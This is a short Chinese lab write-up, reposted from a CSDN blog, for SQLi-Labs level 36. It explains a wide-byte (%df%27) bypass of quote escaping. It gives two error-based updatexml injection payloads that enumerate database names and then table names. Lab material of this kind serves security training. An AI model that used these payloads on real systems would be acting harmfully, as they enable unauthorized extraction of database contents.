SQLi LABS Less-36

第三十六关注入点为 单引号字符串型 , 注入方式为 报错注入

此关卡通过 代码WAF 对单引号' 进行了转义 , 我们使用 %df%27% 代替单引号' 绕过WAF , 先上结果

  

   

    

     

    
    

     

      ?id=1%df%27 and updatexml(1,concat(0x7e,
     
    
   

    

     

    
    

     

      (select group_concat(schema_name)
     
    
   

    

     

    
    

     

      from information_schema.schemata)
     
    
   

    

     

    
    

     

      ),3) %23
     
    
  
 

  

   

    

     

    
    

     

      ?id=1%df%27 and updatexml(1,concat(0x7e,
     
    
   

    

     

    
    

     

      (select group_concat(table_name)
     
    
   

    

     

    
    

     

      from information_schema.tables where table_schema=0x7365637572697479)
     
    
   

    

     

    
    

     

      ),3) %23
     
    
  
 

文章来源: blog.csdn.net，作者：士别三日wyx，版权归原作者所有，如需转载，请联系作者。

原文链接：blog.csdn.net/wangyuxiang946/article/details/118312980